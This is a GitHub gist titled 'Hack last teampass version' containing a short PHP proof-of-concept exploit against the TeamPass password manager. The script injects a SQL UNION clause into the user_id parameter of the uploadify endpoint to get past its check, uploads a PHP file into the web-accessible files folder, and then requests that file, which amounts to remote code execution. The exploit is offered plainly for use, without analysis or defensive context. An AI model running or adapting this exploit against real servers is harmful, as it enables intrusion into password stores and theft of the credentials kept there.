Created
April 1, 2012 23:18
-
-
Save leblanc-simon/2279362 to your computer and use it in GitHub Desktop.
Hack last teampass version
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$url = 'http://localhost/teampass/'; | |
$curl = curl_init(); | |
curl_setopt($curl, CURLOPT_URL, $url.'includes/libraries/uploadify/uploadify.php?key_tempo=lol&user_id='.urlencode('0 UNION SELECT \'lol\'')); | |
curl_setopt($curl, CURLOPT_POST, true); | |
$post = array( | |
'Filedata' => '@info.php', | |
'type_upload' => 'import_items_from_csv', | |
'folder' => '/teampass/files', | |
); | |
curl_setopt($curl, CURLOPT_POSTFIELDS, $post); | |
$response = curl_exec($curl); | |
echo file_get_contents($url.'files/info.php'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment